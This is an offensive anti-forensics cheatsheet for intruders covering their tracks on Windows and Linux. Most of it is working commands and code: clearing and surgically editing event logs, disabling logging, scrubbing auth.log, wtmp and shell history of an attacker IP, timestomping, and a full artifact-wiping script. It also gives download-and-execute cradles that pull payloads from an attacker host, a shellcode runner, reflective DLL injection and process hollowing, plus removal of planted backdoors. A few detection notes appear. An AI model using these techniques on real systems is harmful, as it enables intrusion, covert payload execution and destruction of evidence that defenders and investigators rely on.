Anti-Forensics cheatsheet

Windows Event Logs are the primary forensic evidence source on a Windows endpoint. Every authentication, process creation, service install, and PowerShell execution is recorded. Clearing an entire log channel is noisy because the act of clearing the Security log creates Event ID 1102 (and Event ID 104 for System log), which itself is forwarded to any SIEM before the clear completes. Selective tampering - removing or modifying individual event records - is preferred because it avoids the clear event entirely and leaves the log looking intact.

Clear individual log channels:

# Clear specific channels
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"

# Query before clearing (know what you are removing)
wevtutil qe Security /c:10 /f:text /rd:true

Clear all event logs in one shot:

# PowerShell one-liner - clears every channel
Get-WinEvent -ListLog * -Force | ForEach-Object { wevtutil cl $_.LogName 2>$null }

# CMD version
for /F "tokens=*" %a in ('wevtutil el') do wevtutil cl "%a" 2>nul

Selective event deletion - Phantom technique: The Phantom technique works by suspending every thread in the EventLog service (svchost.exe hosting the EventLog service), which prevents new events from being written. You can then directly patch the .evtx file on disk, removing specific Event IDs while leaving everything else intact. When threads are resumed, the service continues normally with no gap detection.

# 1. Identify the EventLog service PID
Get-WmiObject Win32_Service -Filter "Name='EventLog'" | Select ProcessId

# 2. Enumerate threads of that process and suspend them
# (requires a tool like Invoke-Phant0m or manual NtSuspendThread calls)
# Phant0m: https://github.com/hlldz/Phant0m
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m

Danderspritz eventlogedit concept: The NSA's Danderspritz framework (leaked by Shadow Brokers) included eventlogedit which performed surgical event record removal from .evtx files. The approach: parse the binary .evtx structure, remove target records, recompute CRC32 checksums and record counts in the file/chunk headers, then write the modified file back. Open-source reimplementations exist (e.g., danderspritz-evtx on GitHub).

Disable specific log channels:

# Disable PowerShell Script Block Logging via registry
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
    -Name "EnableScriptBlockLogging" -Value 0

# Disable Sysmon operational log
wevtutil sl "Microsoft-Windows-Sysmon/Operational" /e:false

# Disable PowerShell Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" `
    -Name "EnableModuleLogging" -Value 0

Linux stores logs primarily in /var/log/. Key files: auth.log (or secure on RHEL) records SSH, sudo, and PAM activity; syslog (or messages) captures general system events; wtmp/utmp/btmp are binary files that record login sessions (used by who, w, last, lastb). An investigator's first stop is always these files, so targeted cleanup is essential.

Selective line removal from text logs:

# Remove all lines containing your IP from auth.log
sed -i '/10.10.14.5/d' /var/log/auth.log

# Remove lines matching a specific SSH session
sed -i '/sshd.*10.10.14.5/d' /var/log/auth.log
sed -i '/sshd.*10.10.14.5/d' /var/log/syslog

# Remove lines from a specific time window
sed -i '/Mar 29 14:2[0-9]/d' /var/log/auth.log

# Safer: create cleaned copy, check it, then replace
grep -v '10.10.14.5' /var/log/auth.log > /tmp/clean.log
cat /tmp/clean.log > /var/log/auth.log
rm /tmp/clean.log

utmp/wtmp/btmp manipulation:

# View current login records
utmpdump /var/log/wtmp

# Dump to text, edit, re-encode
utmpdump /var/log/wtmp > /tmp/wtmp.txt
# Edit /tmp/wtmp.txt - remove your login entries
utmpdump -r /tmp/wtmp.txt > /var/log/wtmp
rm /tmp/wtmp.txt

# Same for btmp (failed logins)
utmpdump /var/log/btmp > /tmp/btmp.txt
# Remove entries
utmpdump -r /tmp/btmp.txt > /var/log/btmp

lastlog tampering:

# lastlog is a fixed-size sparse file indexed by UID
# View your entry
lastlog -u $(whoami)

# Zero out your entry (quick and dirty)
# Each record is 292 bytes, offset = UID * 292
uid=$(id -u)
dd if=/dev/zero of=/var/log/lastlog bs=292 count=1 seek=$uid conv=notrunc 2>/dev/null

Shell history evasion:

# Disable history for current session
unset HISTFILE
export HISTSIZE=0
export HISTFILESIZE=0

# Space prefix trick (depends on HISTCONTROL=ignorespace or ignoreboth)
 whoami          # leading space - not recorded if HISTCONTROL is set

# Kill history before exit
history -c && history -w

# Remove specific commands from history
history -d <line_number>

# Nuclear option - clear and prevent writing
cat /dev/null > ~/.bash_history && history -c && exit

# Disable history permanently for this shell
set +o history
# ... do your work ...
set -o history

journalctl log rotation/vacuum:

# Flush and rotate journal logs
journalctl --flush --rotate

# Vacuum logs older than 1 second (effectively removes all)
journalctl --vacuum-time=1s

# Vacuum to specific size
journalctl --vacuum-size=1M

# Remove journal files directly (if persistent)
rm -rf /var/log/journal/*
systemctl restart systemd-journald

NTFS stores two sets of timestamps per file. $STANDARD_INFORMATION (SI) contains the timestamps that dir, Explorer, and most tools display - these are easily modified from userland. $FILE_NAME (FN) timestamps are stored in the MFT directory index and are only updated by the Windows kernel during file operations (rename, move, create). Most timestomping tools only modify SI timestamps. A forensic examiner comparing SI vs FN timestamps (or checking the $UsnJrnl and $LogFile) can detect the manipulation when FN timestamps are newer than SI timestamps - a condition that should never occur naturally.

PowerShell native timestomping:

# Set all three user-visible timestamps on a file
$file = Get-Item "C:\Users\Public\payload.exe"
$file.CreationTime = "01/15/2024 08:30:00"
$file.LastWriteTime = "01/15/2024 08:30:00"
$file.LastAccessTime = "01/15/2024 08:30:00"

# Copy timestamps from a legitimate file
$ref = Get-Item "C:\Windows\System32\notepad.exe"
$target = Get-Item "C:\Users\Public\payload.exe"
$target.CreationTime = $ref.CreationTime
$target.LastWriteTime = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime

NtSetInformationFile for $SI timestamps: This is the lower-level API call that directly modifies $STANDARD_INFORMATION in the MFT. The PowerShell .NET properties ultimately call this, but using it via P/Invoke gives finer control.

// C# - NtSetInformationFile to modify $SI timestamps
[DllImport("ntdll.dll")]
static extern int NtSetInformationFile(
    IntPtr FileHandle,
    out IO_STATUS_BLOCK IoStatusBlock,
    ref FILE_BASIC_INFORMATION FileInfo,
    int Length,
    int FileInformationClass // FileBasicInformation = 4
);

FILE_BASIC_INFORMATION fbi = new FILE_BASIC_INFORMATION();
fbi.CreationTime = targetTime.ToFileTime();
fbi.LastWriteTime = targetTime.ToFileTime();
fbi.LastAccessTime = targetTime.ToFileTime();
fbi.ChangeTime = targetTime.ToFileTime();  // ChangeTime not visible in Explorer
NtSetInformationFile(hFile, out iosb, ref fbi, Marshal.SizeOf(fbi), 4);

Metasploit timestomp:

# In a Meterpreter session
timestomp "C:\\Users\\Public\\payload.exe" -f "C:\\Windows\\System32\\notepad.exe"
# Or set specific values
timestomp "C:\\Users\\Public\\payload.exe" -c "2024-01-15 08:30:00"
timestomp "C:\\Users\\Public\\payload.exe" -m "2024-01-15 08:30:00"
timestomp "C:\\Users\\Public\\payload.exe" -a "2024-01-15 08:30:00"
timestomp "C:\\Users\\Public\\payload.exe" -e "2024-01-15 08:30:00"
# Blank out timestamps (sets to epoch - obvious but sometimes useful)
timestomp "C:\\Users\\Public\\payload.exe" -b

Cobalt Strike timestomp:

# In a Beacon session - copies timestamps from source to target
timestomp C:\Users\Public\payload.exe C:\Windows\System32\notepad.exe

Detection: SI vs FN comparison: Forensic tools like MFTECmd, Autopsy, or analyzeMFT can parse both $SI and $FN timestamps. If $FN.Created is newer than $SI.Created, the file has been timestomped - the real creation time is in $FN. The $UsnJrnl also records a CLOSE entry when timestamps are modified, providing another detection vector.

When a file is deleted normally, the operating system removes the directory entry (the filename pointer) and marks the disk clusters as free, but the actual data remains on disk until those clusters are overwritten by new data. This is why forensic tools like Autopsy, FTK, and Scalpel can recover "deleted" files. Secure deletion overwrites the data in place before removing the directory entry. Note: on journaling filesystems (ext4, NTFS), the journal may contain fragments of file data or metadata even after secure deletion - consider wiping the journal or using full-disk encryption.

Linux file deletion (HDD):

# shred - overwrite file with random data then delete
shred -vfz -n 3 /tmp/payload.elf
# -v verbose, -f force permissions, -z add final zero pass, -n 3 = 3 random passes

# shred a directory of files
find /tmp/loot/ -type f -exec shred -vfz -n 3 {} \;

# srm (secure-delete package)
apt install secure-delete
srm -vz /tmp/payload.elf
# -s: Salzburg overwrite mode, -z: final zero pass

# wipe tool
wipe -rfi /tmp/payload.elf
# -r recursive, -f force, -i verbose

# dd overwrite before deletion
dd if=/dev/urandom of=/tmp/payload.elf bs=1 count=$(stat -c%s /tmp/payload.elf) conv=notrunc
rm /tmp/payload.elf

Windows file deletion (HDD):

:: SDelete (Sysinternals) - secure delete of specific files
sdelete64.exe -p 3 C:\Users\Public\payload.exe
:: -p 3 = three overwrite passes

:: PowerShell - overwrite then delete
$path = "C:\Users\Public\payload.exe"
$size = (Get-Item $path).Length
$random = New-Object byte[] $size
(New-Object Random).NextBytes($random)
[IO.File]::WriteAllBytes($path, $random)
Remove-Item $path -Force

Traditional overwrite does not work on SSDs. Use controller-level erase commands instead.

ATA Secure Erase (SATA SSDs):

# Check if the drive supports secure erase
hdparm -I /dev/sdX | grep -i erase
# Look for: "supported: enhanced erase" and time estimate

# Step 1: Set a temporary password (required by ATA spec)
hdparm --user-master u --security-set-pass Erase /dev/sdX

# Step 2: Issue secure erase
hdparm --user-master u --security-erase Erase /dev/sdX
# Or enhanced erase (also erases reallocated sectors)
hdparm --user-master u --security-erase-enhanced Erase /dev/sdX

# Verify drive is unlocked after erase
hdparm -I /dev/sdX | grep -i security

NVMe Format (NVMe SSDs):

# nvme-cli must be installed
# Secure Erase Setting (ses): 1=user data erase, 2=cryptographic erase
nvme format /dev/nvme0n1 --ses=2
# ses=2 is cryptographic erase - destroys the encryption key
# This is instant and the most reliable method for NVMe

# Sanitize command (more thorough than format)
nvme sanitize /dev/nvme0n1 --sanact=4
# sanact: 1=exit failure, 2=block erase, 3=overwrite, 4=crypto erase

blkdiscard (Linux generic):

# Issue TRIM/discard to entire device (marks all blocks as unused)
blkdiscard /dev/sdX

# Secure discard (asks controller to physically erase)
blkdiscard --secure /dev/sdX

# Note: secure discard support is vendor-dependent
# Verify with: cat /sys/block/sdX/queue/discard_max_bytes

The recommended approach for both HDD and SSD: encrypt the entire disk from day zero. When you need to "delete" the data, destroy the encryption key. Without the key, the ciphertext is unrecoverable regardless of what data remains on the physical media.

LUKS (Linux):

# Setup: encrypt from the start of the engagement
cryptsetup luksFormat /dev/sdX
cryptsetup open /dev/sdX secret
mkfs.ext4 /dev/mapper/secret

# Crypto-erase: destroy all key slots (instant, irreversible)
cryptsetup luksErase /dev/sdX
# This wipes the LUKS header - all data becomes unrecoverable

# Alternative: overwrite just the LUKS header (first 16 MiB)
dd if=/dev/urandom of=/dev/sdX bs=1M count=16

# Paranoid: luksErase + full device discard
cryptsetup luksErase /dev/sdX
blkdiscard /dev/sdX

BitLocker (Windows):

# Crypto-erase approach: clear protectors then wipe metadata
manage-bde -protectors -delete C:
manage-bde -off C:

# Or: clear TPM (destroys the key binding)
# Run from elevated PowerShell
Clear-Tpm
# Then delete recovery key backups from AD/Azure/USB

# BitLocker recovery key locations to clean:
# - Active Directory (stored in AD DS)
# - Azure AD / Entra ID
# - USB drives
# - Microsoft Account (if consumer)
# - Printed copies

Windows creates an extensive trail of forensic artifacts across the filesystem and registry. Each one tells a story: Prefetch records which executables ran, AmCache records program installations and first-run times, ShimCache records program execution compatibility checks, and UserAssist tracks GUI program launches with ROT13-encoded paths.

Prefetch cleanup:

# Prefetch files record the first and last 8 execution times of every .exe
# Location: C:\Windows\Prefetch\
Remove-Item "C:\Windows\Prefetch\PAYLOAD*.pf" -Force
# Or clean all prefetch
Remove-Item "C:\Windows\Prefetch\*.pf" -Force

# Disable Prefetch entirely via registry
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" `
    -Name "EnablePrefetcher" -Value 0

Recent files / RecentDocs:

# Clear RecentDocs registry key
Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs" -Recurse -Force

# Clear Recent folder
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\*" -Force -Recurse

# Clear AutomaticDestinations (Jump Lists)
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\AutomaticDestinations\*" -Force
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\CustomDestinations\*" -Force

ShimCache (AppCompatCache): ShimCache is stored in the registry at HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache. It records file path, size, and last modified time for executables that were checked against the compatibility database. Entries are written to the registry on system shutdown, so the current running cache is in memory.

# Clear ShimCache - delete the registry value (takes effect on next reboot)
Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" `
    -Name "AppCompatCache" -Force
# Note: this clears ALL entries - forensically obvious

AmCache cleanup:

# AmCache.hve is a registry hive at:
# C:\Windows\appcompat\Programs\Amcache.hve
# It is locked while the system runs. To modify:

# Option 1: Load the hive offline (from a different OS / PE boot)
reg load HKLM\TempAmcache C:\Windows\appcompat\Programs\Amcache.hve
reg delete "HKLM\TempAmcache\Root\InventoryApplicationFile" /f
reg unload HKLM\TempAmcache

# Option 2: Delete the entire file (will be recreated, but history is gone)
# Requires stopping the schedule task that locks it
takeown /f "C:\Windows\appcompat\Programs\Amcache.hve"
del /f "C:\Windows\appcompat\Programs\Amcache.hve"

LNK files (shortcuts):

# LNK files record target path, timestamps, volume serial, MAC address
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\*.lnk" -Force

UserAssist: Records GUI program execution in ROT13-encoded registry values under HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist.

# Clear UserAssist for current user
$path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist"
Get-ChildItem $path | ForEach-Object {
    Remove-Item "$($_.PSPath)\Count" -Recurse -Force -ErrorAction SilentlyContinue
}

BAM/DAM (Background Activity Moderator): Tracks execution times of programs. Present on Windows 10 1709+.

# BAM entries per-user
$bam = "HKLM:\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings"
Get-ChildItem $bam | ForEach-Object {
    $sid = $_.PSChildName
    Get-ItemProperty "$bam\$sid" | Select-Object *
}
# Delete specific entries
Remove-ItemProperty -Path "$bam\S-1-5-21-..." -Name "\\Device\\HarddiskVolume2\\Users\\Public\\payload.exe"

Complete artifact cleanup script:

# --- Windows Artifact Cleanup Script ---
# Run as Administrator

Write-Host "[*] Clearing Prefetch..."
Remove-Item "C:\Windows\Prefetch\*.pf" -Force -ErrorAction SilentlyContinue

Write-Host "[*] Clearing Recent files..."
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\*" -Force -Recurse -ErrorAction SilentlyContinue

Write-Host "[*] Clearing Jump Lists..."
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\AutomaticDestinations\*" -Force -ErrorAction SilentlyContinue
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\CustomDestinations\*" -Force -ErrorAction SilentlyContinue

Write-Host "[*] Clearing UserAssist..."
$ua = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist"
Get-ChildItem $ua -ErrorAction SilentlyContinue | ForEach-Object {
    Remove-Item "$($_.PSPath)\Count" -Recurse -Force -ErrorAction SilentlyContinue
}

Write-Host "[*] Clearing RecentDocs..."
Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs" -Recurse -Force -ErrorAction SilentlyContinue

Write-Host "[*] Clearing ShimCache..."
Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" `
    -Name "AppCompatCache" -Force -ErrorAction SilentlyContinue

Write-Host "[*] Clearing temp files..."
Remove-Item "$env:TEMP\*" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item "C:\Windows\Temp\*" -Recurse -Force -ErrorAction SilentlyContinue

Write-Host "[*] Clearing event logs..."
Get-WinEvent -ListLog * -Force | ForEach-Object { wevtutil cl $_.LogName 2>$null }

Write-Host "[*] Clearing PowerShell history..."
Remove-Item (Get-PSReadLineOption).HistorySavePath -Force -ErrorAction SilentlyContinue

Write-Host "[+] Cleanup complete. Reboot recommended for ShimCache."

Shell history files:

# Bash
cat /dev/null > ~/.bash_history
history -c

# Zsh
cat /dev/null > ~/.zsh_history

# Python
rm -f ~/.python_history

# MySQL
rm -f ~/.mysql_history

# Less
rm -f ~/.lesshst

# Vim
rm -f ~/.viminfo

# All history files at once
find /home/ -name ".*_history" -exec shred -vfz {} \; 2>/dev/null
find /root/ -name ".*_history" -exec shred -vfz {} \; 2>/dev/null

/tmp cleanup:

# Remove your artifacts from /tmp
rm -rf /tmp/payload* /tmp/loot/ /tmp/.hidden_dir/

# Overwrite then delete
find /tmp/ -user $(whoami) -type f -exec shred -vfz {} \;
find /tmp/ -user $(whoami) -type d -exec rm -rf {} \; 2>/dev/null

Crontab removal:

# Remove your scheduled tasks
crontab -r    # Remove entire crontab for current user
crontab -l    # Verify it is empty

# Remove specific persistence entries
crontab -l | grep -v "payload" | crontab -

# Check system-wide cron
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
# Remove any persistence you planted
rm -f /etc/cron.d/backdoor

SSH artifacts:

# Remove your entries from known_hosts
sed -i '/10.10.14.5/d' ~/.ssh/known_hosts

# Remove authorized_keys entries you added
sed -i '/your_pubkey_identifier/d' ~/.ssh/authorized_keys

# Clean SSH agent
ssh-add -D    # Remove all identities from the agent

# Remove SSH control sockets
rm -f /tmp/ssh-*/agent.*
rm -f ~/.ssh/sockets/*

locate database:

# The locate/mlocate database indexes all filenames on the system
# If your payload was on disk when updatedb ran, it is recorded
rm -f /var/lib/mlocate/mlocate.db
# Or force a rebuild (which will exclude deleted files)
updatedb

# plocate (newer systems)
rm -f /var/lib/plocate/plocate.db

The core principle: if a payload never touches disk, file-based forensics (hashing, AV scanning, timeline analysis) cannot detect it. Memory-only execution loads code directly into RAM from a remote source or an embedded byte array. The trade-off is persistence - memory payloads are lost on reboot unless combined with a persistence mechanism.

PowerShell download cradles:

# Net.WebClient - download and execute in memory
IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.5/Invoke-Payload.ps1")

# Invoke-WebRequest (PowerShell 3+)
IEX (Invoke-WebRequest -Uri "http://10.10.14.5/payload.ps1" -UseBasicParsing).Content

# WebClient with custom headers (bypass WAF/proxy inspection)
$wc = New-Object Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0")
$wc.Headers.Add("Cookie", "auth=legitimate")
IEX $wc.DownloadString("http://10.10.14.5/payload.ps1")

# System.Net.Http.HttpClient (.NET 4.5+)
$client = [System.Net.Http.HttpClient]::new()
$code = $client.GetStringAsync("http://10.10.14.5/payload.ps1").Result
IEX $code

# Base64 encoded inline execution (no network)
powershell -EncodedCommand <base64_payload>

.NET Assembly.Load from byte array:

# Download a .NET assembly and load it entirely in memory
$bytes = (New-Object Net.WebClient).DownloadData("http://10.10.14.5/SharpTool.exe")
$assembly = [System.Reflection.Assembly]::Load($bytes)

# Execute the entry point
$assembly.EntryPoint.Invoke($null, @(,[string[]]@("arg1","arg2")))

# Or invoke a specific method
$type = $assembly.GetType("Namespace.ClassName")
$method = $type.GetMethod("MethodName")
$method.Invoke($null, @("arg1"))

Reflective DLL injection:

// Inject a DLL from memory into a remote process without LoadLibrary
// Steps:
// 1. Allocate memory in target process
// 2. Write DLL bytes to allocated region
// 3. Write a reflective loader stub
// 4. Create remote thread pointing to the loader

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, dllSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteMem, dllBytes, dllSize, NULL);
// The reflective loader in the DLL header handles PE parsing, import resolution, relocations
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
    (LPTHREAD_START_ROUTINE)((BYTE*)remoteMem + loaderOffset), remoteMem, 0, NULL);

Shellcode runner (no file on disk):

// Allocate, copy, execute shellcode - entirely in memory
#include <windows.h>

unsigned char shellcode[] = "\xfc\x48\x83...";  // Your shellcode

int main() {
    LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_READWRITE);
    memcpy(mem, shellcode, sizeof(shellcode));

    DWORD oldProtect;
    VirtualProtect(mem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect);

    HANDLE hThread = CreateThread(NULL, 0,
                                  (LPTHREAD_START_ROUTINE)mem,
                                  NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

Process hollowing with in-memory PE:

// Create a suspended legitimate process, unmap its image,
// map your PE in its place, fix entry point, resume

// 1. Create suspended process
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL,
               NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 2. Get the PEB to find image base
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

// 3. Read the image base from PEB
ReadProcessMemory(pi.hProcess, (BYTE*)pbi.PebBaseAddress + 0x10, &imageBase, 8, NULL);

// 4. Unmap the original image
NtUnmapViewOfSection(pi.hProcess, imageBase);

// 5. Allocate new memory at the same base and write your PE
VirtualAllocEx(pi.hProcess, imageBase, peSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, imageBase, peBuffer, peSize, NULL);

// 6. Set the thread context entry point to your PE's entry point
ctx.Rcx = (DWORD64)imageBase + peEntryPointRVA;
SetThreadContext(pi.hThread, &ctx);

// 7. Resume
ResumeThread(pi.hThread);

Network forensic artifacts include DNS cache, ARP tables, active connections, firewall logs, and routing tables. These reveal what hosts were contacted, when, and over which protocols. Investigators also pull PCAP captures from network taps, IDS/IPS logs, and proxy logs - but those are outside your control on the endpoint.

DNS cache clearing:

# Linux - systemd-resolved
resolvectl flush-caches
# Or older systems
systemd-resolve --flush-caches

# Verify cache is empty
resolvectl statistics | grep "Current Cache Size"

# dnsmasq (if used as local resolver)
killall -HUP dnsmasq

# Windows
ipconfig /flushdns
# Verify
ipconfig /displaydns
# Should show: "Could not display the DNS Resolver Cache."

# Clear DNS client event log
wevtutil cl "Microsoft-Windows-DNS-Client/Operational"

ARP table clearing:

# Linux - flush ARP cache
ip neigh flush all

# Verify
ip neigh show

# Windows
arp -d *
# Or
netsh interface ip delete arpcache

Connection tracking cleanup:

# Linux - clear netfilter conntrack table
conntrack -F
# Or
echo 1 > /proc/sys/net/netfilter/nf_conntrack_count 2>/dev/null
conntrack -F 2>/dev/null

# Clear specific entries (e.g., connections to your C2)
conntrack -D -d 10.10.14.5

# Check for lingering TIME_WAIT sockets
ss -tn state time-wait | grep "10.10.14.5"

# Windows - no direct conntrack equivalent, but clear DNS and NetBIOS caches
nbtstat -R            # Purge NetBIOS name cache
nbtstat -RR           # Release and refresh NetBIOS names
ipconfig /flushdns    # Flush DNS

NTFS supports Alternate Data Streams (ADS) - additional named data streams attached to any file or directory. The default (unnamed) stream is what users see; ADS content is invisible to dir and Explorer by default. Forensic tools (Autopsy, FTK, KAPE) scan for ADS, so this is not a long-term hiding mechanism but useful for short-term staging.

:: Create an ADS (hide data inside a legitimate file)
echo "payload data" > C:\Windows\Temp\legit.txt:hidden.txt

:: Or embed a binary
type payload.exe > C:\Windows\Temp\legit.txt:payload.exe

:: Read the ADS
more < C:\Windows\Temp\legit.txt:hidden.txt

:: Execute from ADS (some methods - depends on binary type)
wmic process call create "C:\Windows\Temp\legit.txt:payload.exe"
:: Note: direct execution from ADS is blocked in modern Windows for .exe

:: List all ADS on a file
dir /r C:\Windows\Temp\legit.txt

:: PowerShell - enumerate ADS
Get-Item C:\Windows\Temp\legit.txt -Stream *

:: Remove a specific ADS
Remove-Item C:\Windows\Temp\legit.txt -Stream hidden.txt

Detection awareness: Forensic analysts use streams.exe (Sysinternals) or dir /r to find ADS. The $DATA attribute in the MFT records each stream. KAPE targets specifically collect ADS.